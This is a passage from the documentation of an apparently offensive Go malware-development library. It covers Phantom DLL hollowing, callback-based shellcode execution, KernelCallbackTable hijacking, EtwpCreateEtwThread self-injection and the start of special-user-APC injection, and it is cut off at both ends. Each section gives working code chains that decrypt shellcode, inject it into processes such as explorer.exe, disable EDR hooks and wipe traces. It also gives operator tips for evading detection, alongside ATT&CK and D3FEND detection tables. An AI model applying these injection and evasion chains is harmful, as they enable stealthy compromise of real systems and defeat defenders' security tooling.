NtCreateThreadExstill fires at the end of the chain. The technique avoidsWriteProcessMemory, not thread-creation telemetry.- No PPL targets. Cross-process section mapping into a Protected Process Light is denied.
- Initial section protection is RWX. EDRs that key on
PAGE_EXECUTE_READWRITEallocations flag the creation regardless of the eventualRX-only target view. - Section persists in target. No automatic cleanup on the remote side. The mapped pages stay until the target exits.
- Caller
nilfalls back to userland-hooked stubs. Prefer an indirect-syscallCallerfor any non-trivial EDR posture.
See also
- CreateRemoteThread — same target shape,
uses
NtWriteVirtualMemory. - Phantom DLL — section mapping where the section is image-backed by a System32 DLL (extra disguise).
win/syscall— direct/indirect syscall modes.evasion/unhook— pair to defeat userland hooks on the section APIs.- Aleksandra Doniec, Process Doppelgänging vs section mapping — comparison of section-based injection variants.
Phantom DLL hollowing
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Cross-process module stomping: open a real System32 DLL, build a
SEC_IMAGE section from it, map the section into the target so the
kernel records the mapping as a legitimate signed image, then overwrite
the .text of the remote view with shellcode. Memory scanners see a
file-backed amsi.dll mapping; the bytes are the implant's. Optionally
routes the open through evasion/stealthopen
to dodge path-based file hooks.
| Trait | Value |
|---|---|
| Target class | Remote (placement only — no execution trigger) |
| Creates a new thread? | No (placement only — caller picks an executor) |
Uses WriteProcessMemory? | Yes (to overwrite .text of the mapped image) |
| Stealth tier | Very high — kernel records SEC_IMAGE mapping with the donor's path; memory scanners see a file-backed signed module |
| Composable | Designed to chain with Kernel Callback Table for the execution trigger (no thread creation either) |
When to pick a different method:
- Want a single self-contained "place + execute" call? → Section Mapping trades the file-backed mask for one less syscall chain.
- Don't need image-backed mapping? → CreateRemoteThread is simpler when memory scanners aren't the threat.
- Want the stomp to happen in YOUR process? → Module Stomping — same trick, local target.
Primer
Module stomping (local) gives an RX region that
the OS reports as a legitimate signed image — but only inside the
implant's own process. Phantom DLL hollowing extends the same idea
across a process boundary by combining NtCreateSection(SEC_IMAGE)
with NtMapViewOfSection into the target.
The kernel insists that SEC_IMAGE sections be backed by an Authenticode-
signed file; the implant uses a real System32 DLL (amsi.dll,
msftedit.dll, …) so the signature check passes. The same pages are
then overwritten in the target's view: read the on-disk DLL to
locate the .text RVA, flip the remote section to RW with
VirtualProtectEx, write the shellcode, flip back to RX. The remote
process now has an amsi.dll mapping whose code segment is the implant.
EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Open as "stealthopen.Opener (optional)"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Open: open amsi.dll
Open-->>Impl: hFile
Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
Kern->>Kern: Authenticode validation
Kern-->>Impl: hSection (image-backed)
Impl->>Kern: NtMapViewOfSection(target, RX)
Kern->>Tgt: legitimate amsi.dll image mapped
Kern-->>Impl: remoteBase
Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)
Steps:
- Open the cover DLL (default
amsi.dll). When anOpeneris supplied, the open routes through file-ID handles rather than a path-basedCreateFile, defeating EDR file-IO hooks that key on path strings. NtCreateSection(SEC_IMAGE)— kernel validates and builds a signed image section.NtMapViewOfSectioninto the target withPAGE_EXECUTE_READWRITE.- Parse the cover DLL's PE headers in the implant to locate the
.textRVA and size. - Flip + write + flip back the target's
.textviaVirtualProtectEx+WriteProcessMemory+VirtualProtectEx. - (Caller's responsibility) trigger the shellcode in the target —
KernelCallbackExec,SectionMapInject-paired thread, callback APC.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
return err
}
// caller now triggers the shellcode separately.
Composed (stealthopen for the file open)
Defeat path-based EDR file hooks on amsi.dll:
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)
Advanced (phantom + KCT trigger)
End-to-end placement + execution:
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
return err
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + stealthopen + phantom + trigger + wipe)
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()
if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
return err
}
memory.SecureZero(shellcode)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SEC_IMAGE section in a target backed by a DLL the target does not import | Sysmon Event 7 (ImageLoad) — anomaly when the host process does not depend on the cover DLL |
In-memory .text mismatch with the on-disk DLL | Image-integrity scanners — strong, slow detector |
Cross-process WriteProcessMemory to an image's .text | EDR userland hooks + ETW-Ti WriteVirtualMemory |
VirtualProtectEx flip on a loaded image | EDR allocation-protect telemetry |
D3FEND counters:
Hardening for the operator: route the file open through
stealthopen; pick a cover DLL that the
target is unlikely to actually import (so the load looks load-but-unused
rather than overlapping legitimate use); pair with ntdll unhooking.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | image-backed cross-process variant | D3-PCSV |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | adjacent — phantom DLL imitates side-loading without actual hijack | D3-SICA |
Limitations
WriteProcessMemorystill fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.- Non-trigger.
PhantomDLLInjectonly places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread). - Cover DLL must not be already loaded with dependencies in target.
If
amsi.dllis already mapped because AMSI is in use, the newSEC_IMAGEmapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first). - Image-diff defeats it. Defenders that compare loaded
.textagainst the on-disk DLL win.
See also
- Module Stomping — local, in-process variant of the same technique.
- Section Mapping — non-image-backed cross-process placement.
- KernelCallbackTable — the canonical
trigger paired with
PhantomDLLInject. evasion/stealthopen— defeat path-based file-IO hooks on the cover DLL open.- Forrest Orr, Phantom DLL Hollowing, 2020 — original public write-up.
Callback-based execution
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first (Self/Local/Remote/Child, Injector, *wsyscall.Caller, APC, stealth tier).
TL;DR
Run shellcode by handing its address to a Windows API that already
takes a function pointer as part of its normal contract — EnumWindows,
CreateTimerQueueTimer, CertEnumSystemStore, ReadDirectoryChangesW,
RtlRegisterWait, NtNotifyChangeDirectoryFile. The OS calls the
shellcode through its own dispatcher, so no Create*Thread* event
fires. Local technique only — pair with a separate primitive that places
the shellcode in executable memory.
| Trait | Value |
|---|---|
| Target class | Local (current process) |
| Creates a new thread? | No — shellcode runs on an existing thread the OS already owns |
Uses WriteProcessMemory? | No — caller pre-allocates RX in their own process |
| Stealth tier | High — no CreateThread / QueueAPC / SetContext call enters EDR's view |
| CET-affected variants | CallbackRtlRegisterWait + CallbackNtNotifyChangeDirectory need cet.Wrap on Win11 24H2+. Use inject.ExecuteCallbackBytes for auto-wrapping. |
When to pick a different method:
- Need to inject into a different process? → Local-only by definition. See CreateRemoteThread, Section Mapping, or Kernel Callback Table.
- Want a thread you control end-to-end? → Thread Pool (still avoids Create*Thread but you own the work item).
- Want shellcode running from a known-DLL image? → Module Stomping.
Primer
Many Windows APIs accept callbacks as routine parameters: EnumWindows
calls a function for every top-level window, CreateTimerQueueTimer
fires one after a delay, CertEnumSystemStore invokes one per
certificate store, RtlRegisterWait triggers one when a kernel object
signals, and so on. If the implant aims any of those callbacks at its
shellcode, Windows itself executes the shellcode as part of a
documented API call.
The advantage is the absence of any thread-creation or APC-queue
syscall. EDRs that monitor NtCreateThreadEx, NtQueueApcThread, or
SetThreadContext see nothing. The shellcode runs on a thread that
already exists (the calling thread for EnumWindows/CertEnum, the
timer-queue thread for CreateTimerQueueTimer, a thread-pool worker
for RtlRegisterWait).
The technique is local-only: every callback executes in the calling
process. Pair with ModuleStomp or a manual
VirtualAlloc(RW) + memcpy + VirtualProtect(RX) to place the shellcode
in executable memory first; ExecuteCallback does not allocate.
How it works
flowchart TD
SC[shellcode in RX page] --> Pick{CallbackMethod}
Pick -->|EnumWindows| EW[user32!EnumWindows]
Pick -->|CreateTimerQueue| TQ[kernel32!CreateTimerQueueTimer]
Pick -->|CertEnumSystemStore| CE[crypt32!CertEnumSystemStore]
Pick -->|ReadDirectoryChanges| RD[kernel32!ReadDirectoryChangesW]
Pick -->|RtlRegisterWait| RW[ntdll!RtlRegisterWait]
Pick -->|NtNotifyChangeDirectory| NC[ntdll!NtNotifyChangeDirectoryFile]
EW --> CALL[Windows calls shellcode<br>as a normal API callback]
TQ --> CALL
CE --> CALL
RD --> CALL
RW --> CALL
NC --> CALL
The package selects the correct call shape and parameters for each
method. EnumWindows and CertEnumSystemStore invoke the shellcode
synchronously; CreateTimerQueueTimer fires it on the timer thread
with WT_EXECUTEINTIMERTHREAD; RtlRegisterWait and
NtNotifyChangeDirectoryFile deliver it via a thread-pool worker or
APC dispatcher.
[!IMPORTANT] CET enforcement — on Windows 11 with
ProcessUserShadowStackPolicyenabled, two of the six methods (CallbackRtlRegisterWait,CallbackNtNotifyChangeDirectory) require the shellcode to start with theENDBR64instruction (F3 0F 1E FA) or the kernel terminates the process withSTATUS_STACK_BUFFER_OVERRUN.The package now ships a CET-aware helper that handles this automatically:
// Auto-prepends ENDBR64 when MethodEnforcesCET(method) AND cet.Enforced(). err := inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)
ExecuteCallbackBytes(sc, method)checksMethodEnforcesCET(method)andcet.Enforced()and, when both hold, callscet.Wrap(sc)before allocating + invokingExecuteCallback. On non-CET hosts it's equivalent to a plain alloc + ExecuteCallback chain.Operators who want manual control still call
evasion/cet.Wrap(sc)themselves and feed the result toExecuteCallback(addr, method), orevasion/cet.Disable()once at start-up to opt the whole process out.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — bytes (CET-aware, recommended)
import "github.com/oioio-space/maldev/inject"
// Auto-wraps with ENDBR64 when MethodEnforcesCET(method) AND
// cet.Enforced(). Allocates RW, copies, flips RX, calls
// ExecuteCallback. One line, no manual fiddling.
_ = inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)
Simple — manual (operator-controlled allocation)
The shellcode must already be in executable memory. Use this path
when the operator wants explicit control over allocation (e.g.,
to feed inject.ModuleStomp an image-backed region):
import (
"unsafe"
"github.com/oioio-space/maldev/inject"
"golang.org/x/sys/windows"
)
addr, _ := windows.VirtualAlloc(0, uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &old)
_ = inject.ExecuteCallback(addr, inject.CallbackEnumWindows)
Composed (with inject.ModuleStomp)
Hide the executable region inside a legitimate System32 DLL's .text
section, then trigger:
import "github.com/oioio-space/maldev/inject"
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)
Advanced (with CET wrapping for thread-pool callbacks)
Some callback paths require the ENDBR64 prefix on Windows 11:
import (
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/inject"
)
prepared := cet.Wrap(shellcode)
addr, _ := inject.ModuleStomp("msftedit.dll", prepared)
_ = inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Complex (full chain — evade + stomp + callback + cleanup)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/cet"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
prepared := cet.Wrap(shellcode)
addr, err := inject.ModuleStomp("msftedit.dll", prepared)
if err != nil { return err }
if err := inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory); err != nil {
return err
}
memory.SecureZero(prepared)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
EnumWindows callback pointing into a non-image region | EDR memory scanners (CrowdStrike, MDE Live Response) — orphan callbacks lit up |
Sudden RtlRegisterWait from a non-system process with a callback in heap | Userland hooks + ETW Microsoft-Windows-Threadpool |
CertEnumSystemStore from a non-crypto-aware process | Behavioural rule (rare; Defender flags the chain when paired with downloaded payloads) |
File-watch on C:\Windows\Temp from a process that does not file-watch | Sysmon Event 12/13 (no direct event) but EDR file-IO baselines |
| RW page promoted to RX in non-image region | Allocation-protect telemetry — flag the VirtualProtect to RX |
D3FEND counters:
- D3-PCSV — verifies callback pointers against image segments.
- D3-EAL — WDAC denies execution from non-image-backed pages.
Hardening for the operator: combine with ModuleStomp
so the callback pointer falls inside a legitimate DLL's .text
section; rotate CallbackMethod between runs to defeat
behaviour-rule fingerprinting; never run the same EnumWindows
trigger twice in a row.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | callback variant — no thread creation | D3-PCSV |
| T1055.015 | Process Injection: ListPlanting | CreateTimerQueueTimer family | D3-PCSV |
Limitations
- Local only. All six methods execute in the calling process.
Cross-process work needs a different primitive
(
SectionMapInject,KernelCallbackTable). ExecuteCallbackdoes not allocate. The address must already point at RX memory. UseExecuteCallbackBytesfor the alloc-flip-call path, or pair withModuleStomp/VirtualAlloc + VirtualProtectfor image-backed memory.- CET on two methods, auto-handled.
CallbackRtlRegisterWaitandCallbackNtNotifyChangeDirectoryrequire theENDBR64prefix on Win11+ with shadow stacks enforced.inject.MethodEnforcesCET(method)reports which methods need the prefix;inject.ExecuteCallbackBytes(sc, method)checks that predicate againstcet.Enforced()andcet.Wraps the shellcode automatically. Operators who pre-allocate themselves mustcet.Wrap(orcet.Disableonce at start-up) before passing the address toExecuteCallback. - Synchronous methods block.
EnumWindowsandCertEnumSystemStorereturn only after the shellcode finishes. The shellcode must return cleanly (return 0) — long-running payloads should hand off to a fiber or thread internally. - Thread-pool worker context.
CallbackRtlRegisterWaitruns on a thread the implant did not create; locked OS resources held there are unfamiliar territory.
See also
- Module Stomping — the canonical pair to place the shellcode in executable memory.
- Thread Pool — a different self-injection path that also avoids thread creation.
evasion/cet— CET shadow stack handling for the two affected callback methods.- Process Injection Techniques — modexp/SafeBreach — community catalogue of the same callback-API patterns.
KernelCallbackTable hijacking
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Every Windows process holds a KernelCallbackTable pointer in its
PEB — a table of user-mode dispatch routines that the kernel calls
back into for window-message handling. Overwrite the
__fnCOPYDATA (index 3) slot in the target's table with the
shellcode address, send the target window a WM_COPYDATA message,
restore the original slot. Cross-process, no CreateThread, no APC.
| Trait | Value |
|---|---|
| Target class | Remote (existing PID with at least one window) |
| Creates a new thread? | No — kernel reuses the target's existing UI thread |
Uses WriteProcessMemory? | Yes (to swap the table slot, ~8 bytes) |
| Stealth tier | High — no CreateThread / QueueAPC / SetContext entries; the WM_COPYDATA send is a normal IPC pattern |
| Constraint | Target must have a window (USER32-loaded process). Console-only targets can't be hit. |
When to pick a different method:
- Target has no window? → Section Mapping, NtQueueApcThreadEx, or CreateRemoteThread.
- Want shellcode placed via image mapping (file-backed mask)? → Pair with Phantom DLL for placement, then this for trigger.
- Want fully local (no cross-process)? → Callback execution abuses the same family of dispatcher callbacks but in the current process.
Primer
Windows' window-message dispatcher is split between the kernel and
user mode. Certain messages (paint, copy-data, draw-icon, …) require
the kernel to call back into the target process's user-mode code. To
make that work, every process has a KernelCallbackTable pointer in
its PEB; the kernel looks up the right callback by index and invokes
it. The table is read-write user-mode memory; nothing prevents another
process with PROCESS_VM_WRITE access from mutating an entry.
The implant takes the target's PEB address (via
NtQueryInformationProcess), reads the KernelCallbackTable pointer,
overwrites the __fnCOPYDATA slot (index 3) with the shellcode
address, finds a window owned by the target with EnumWindows, sends
it a WM_COPYDATA message, and waits for the kernel to dispatch.
The kernel calls the slot — now pointing at the shellcode — as the
target's main UI thread. The implant restores the original pointer
afterwards.
Saif/Hexacorn published the family in 2020; ProjectXeno used a
related variant in the wild. EDR coverage varies — the cross-process
PEB write and the WM_COPYDATA send are the only loud syscalls.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: NtQueryInformationProcess(target, ProcessBasicInformation)
Kern-->>Impl: PEB address
Impl->>Kern: NtAllocateVirtualMemory(target, RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, RX)
Impl->>Kern: NtReadVirtualMemory(target.PEB.KernelCallbackTable)
Kern-->>Impl: kctAddress
Impl->>Kern: NtReadVirtualMemory(kctAddress[3]) [save original]
Kern-->>Impl: orig
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = shellcode)
Impl->>Tgt: SendMessage(hwnd, WM_COPYDATA, ...)
Note over Tgt: kernel dispatches via __fnCOPYDATA<br>→ shellcode runs
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = orig) [restore]
Steps:
- Resolve the target's PEB via
NtQueryInformationProcess(ProcessBasicInformation). - Allocate / write / protect the shellcode in the target.
- Read
PEB.KernelCallbackTableto find the table address. - Save the current
[3]slot value. - Overwrite
[3]with the shellcode address. - Find a window owned by
pid(EnumWindowsfiltered byGetWindowThreadProcessId). - Send
WM_COPYDATAto that window. - The kernel dispatches via the modified slot — shellcode runs.
- Restore the original
[3]value.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.KernelCallbackExec(targetPID, shellcode, nil); err != nil {
return err
}
Composed (indirect syscalls)
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Advanced (evade + KCT inject)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + target a UI process + inject + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
target, err := enum.FindByName("explorer.exe")
if err != nil { return err }
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := inject.KernelCallbackExec(target.PID, shellcode, caller); err != nil {
return err
}
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Cross-process write into a target's PEB region | Userland EDR hooks on NtWriteVirtualMemory; kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits WriteVirtualMemory events |
Mutation of KernelCallbackTable[3] (__fnCOPYDATA) | Behavioural EDR rule (CrowdStrike, MDE) — the slot is rarely modified outside this technique |
WM_COPYDATA sent across process boundaries from an unusual sender | Windows-event-log heuristics; rare standalone signal |
Synthetic WM_COPYDATA to a process whose receiver does not normally accept it | Application-level anomaly (e.g. notepad.exe receiving copy-data) |
D3FEND counters:
- D3-PSA — flags the cross-process PEB read/write pair.
- D3-PCSV — verifies callback-table slots against image segments.
Hardening for the operator: target a UI-rich process whose
message pump runs continuously (explorer.exe, RuntimeBroker.exe);
restore the slot before any second message can arrive; pair with
ntdll unhooking so the cross-process Nt calls dodge userland hooks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | callback-table variant — no CreateThread cross-process | D3-PSA |
Limitations
- Target needs a window. Console-only and service processes have
no top-level window;
KernelCallbackExecreturns an error. - Slot restoration is best-effort. If the shellcode does not return cleanly, the table stays poisoned and the next legitimate message dispatch crashes the target. Use a stub that returns immediately after detaching the payload.
- Cross-process write still happens.
NtWriteVirtualMemoryruns twice (allocation + table mutation). EDR-Ti will see it; pair with unhooking to defeat userland-hook variants only. - No PPL targets. PPL processes deny cross-process VM operations.
See also
- Section Mapping — alternative cross-process
technique that avoids
WriteProcessMemoryentirely. - Phantom DLL — same target shape with image-backed shellcode placement.
evasion/unhook— ntdll unhooking to defeat userland-hook telemetry.- Hexacorn, KernelCallbackTable hijack, 2020 — original public write-up.
- Check Point Research, FinFisher exposed — in-the-wild use of related primitives.
EtwpCreateEtwThread injection
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Self-injection via the internal ntdll!EtwpCreateEtwThread —
ETW's private thread-creation routine. Allocates RX in the current
process, writes shellcode, calls the routine with the shellcode
address as the start point. Same end result as NtCreateThreadEx,
but the underlying call is unexported and rarely hooked. Self-process
only.
| Trait | Value |
|---|---|
| Target class | Self (current process) |
| Creates a new thread? | Yes — but via an unexported, rarely-hooked routine |
Uses WriteProcessMemory? | No (current-process write only) |
| Stealth tier | High — the unexported routine sits below most EDRs' inline-hook surface |
| Dependency | Resolves via PEB walk — robust to EDR API enumeration but breaks if Microsoft renames the symbol |
When to pick a different method:
- Want zero thread creation? → Callback execution, Thread Pool.
- Need cross-process? → Self-only by definition. See CreateRemoteThread, Section Mapping.
- Want a file-backed image-mask for the shellcode? → Module Stomping.
Primer
ETW (Event Tracing for Windows) maintains its own helper threads for
trace-buffer management. Internally ntdll exposes the
EtwpCreateEtwThread routine to spawn those helpers. The routine
boils down to NtCreateThreadEx with ETW-specific flags and a small
trampoline, but it is not exported by name — EDR products that
hook NtCreateThreadEx for thread-creation telemetry typically do not
also hook the private ETW routine.
The implant resolves EtwpCreateEtwThread by symbol lookup or hashed
PEB walk, allocates an RX page in itself, and calls the routine with
the shellcode address as the start point. A real OS thread starts at
the shellcode — same outcome as CreateThread, far quieter on
userland-hook telemetry.
This is self-process only. Cross-process work needs a different primitive.
How it works
flowchart LR
A[VirtualAlloc RW] --> B[memcpy shellcode]
B --> C[VirtualProtect → RX]
C --> D[resolve ntdll!EtwpCreateEtwThread]
D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
E --> F[new OS thread runs shellcode]
Steps:
- Allocate / write / protect in the current process (RW → RX).
- Resolve
ntdll!EtwpCreateEtwThreadviaGetProcAddress, manual export-table walk, or a hashed PEB walk. - Call the routine with the shellcode address as the start parameter.
The internal routine ends up calling NtCreateThreadEx itself; the
kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine).
What the technique evades is the userland-hook layer that EDR
products typically install on the documented CreateThread family.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (with SelfInjector for sleep masking)
import (
"time"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(30 * time.Second)
}
}
}
Advanced (decrypt + ETWP inject + sleep mask)
import (
"time"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
inj, err := inject.Build().
Method(inject.MethodEtwpCreateEtwThread).
IndirectSyscalls().
Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
if self, ok := inj.(inject.SelfInjector); ok {
if r, ok := self.InjectedRegion(); ok {
mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
for {
mask.Sleep(60 * time.Second)
}
}
}
Complex
The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor;
the named-method path is canonical. To experiment with custom
executors, replicate the resolve-and-call snippet from
inject/injector_self_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Userland hooks on NtCreateThreadEx / CreateThread | Bypassed — EtwpCreateEtwThread is unexported |
Kernel PsSetCreateThreadNotifyRoutine callback | Still fires — the kernel sees a normal thread creation |
| Stack-walking on the new thread | The start address points into a non-image RX region — same orphan signal as CreateRemoteThread |
EtwpCreateEtwThread invocation from a non-ETW caller | Niche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do |
D3FEND counters:
- D3-PSA — kernel callback still surfaces the new thread.
- D3-PCSV — verifies the start address against image segments.
Hardening for the operator: combine with evasion/callstack
to fake the call site so stack-walking telemetry does not trivially
flag the orphan thread; pair with evasion/sleepmask
to encrypt the RX region between activations.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055 | Process Injection | self-process variant via internal ntdll routine | D3-PSA |
Limitations
- Self-process only. The routine starts a thread in the calling process. No PID parameter.
- Not a kernel-callback bypass.
PsSetCreateThreadNotifyRoutinestill fires. The technique evades userland-hook telemetry only. - Undocumented.
EtwpCreateEtwThreadis internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates. - Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.
See also
- CreateRemoteThread — the documented variant.
- NtQueueApcThreadEx — alternative self-process path with no thread creation event at all.
evasion/callstack— fake the call site of the spawned thread.evasion/sleepmask— encrypt the RX region during inactive periods.
NtQueueApcThreadEx — special user APC
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Cross-process APC injection that fires immediately at the next
kernel-to-user transition, without the target needing to enter an
alertable wait. Win10 1903+ only. Allocate / write / protect in the
target as usual, then queue the APC with the
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag — the kernel delivers it
on any thread the next time control returns to user mode.
| Trait | Value |
|---|---|
| Target class | Remote (existing PID) |
| Creates a new thread? | No — APC delivered to existing thread |
Uses WriteProcessMemory? | Yes (NtWriteVirtualMemory) |
| Stealth tier | Medium — cleaner than CreateRemoteThread; still has WPM signal |
| Min Windows version | Win10 1903+ (special user APC flag) |
When to pick a different method:
- Pre-Win10 1903 target? → CreateRemoteThread.
- Want to avoid WPM entirely? → Section Mapping.
- Have control of the spawn (CREATE_SUSPENDED)? → Early Bird APC — quieter setup with full control.
Primer
Standard QueueUserAPC only fires when the target thread enters an
alertable wait (SleepEx, WaitForSingleObjectEx, …). Many real
processes never enter alertable waits, so the classic APC technique
either silently fails or relies on Early Bird's spawned-suspended
trick. Special User APCs, introduced in Windows 10 build 18362
(version 1903), fire on the next kernel-to-user mode transition,
regardless of wait state — the kernel forces the APC dispatch.
The flag (1 / QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) is exposed
via the undocumented NtQueueApcThreadEx. Pass it on a thread handle
opened with THREAD_SET_CONTEXT, and the kernel inserts a special-APC
record that fires on the very next KiUserApcDispatcher return — which
happens within microseconds for any actively-running thread.
The package enumerates threads of the target, tries each in turn, and
